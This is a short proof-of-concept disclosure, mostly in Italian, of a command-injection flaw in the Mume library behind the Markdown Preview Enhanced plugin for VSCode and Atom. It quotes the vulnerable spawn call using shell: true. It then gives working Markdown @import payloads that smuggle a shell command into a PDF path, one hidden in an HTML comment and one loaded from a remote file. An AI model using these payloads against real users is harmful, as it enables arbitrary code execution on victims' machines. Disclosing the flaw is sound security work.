
[PoC] Iniezione di comandi tramite importazione PDF in Markdown Preview Enhanced (VSCode, Atom)
Iniezione di comandi tramite importazione PDF in Markdown Preview Enhanced (VSCode, Atom)
La Mume libreria di strumenti Markdown era vulnerabile all'iniezione di comandi a causa dell'uso del comando spawn con l'opzione {shell: true}. Ciò potrebbe consentire a un attaccante di eseguire codice arbitrario ingannando la vittima facendole aprire un file Markdown appositamente creato utilizzando VSCode o Atom. La libreria alimenta il plugin Markdown Preview Enhanced sia per VSCode che per Atom.
Vulnerabile frammento di codice:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
Il seguente documento Markdown consente a un attaccante di eseguire un comando arbitrario:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
In alternativa, il payload potrebbe essere eseguito da una fonte esterna:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
DEMO sia per VSCode che per Atom su YouTube.
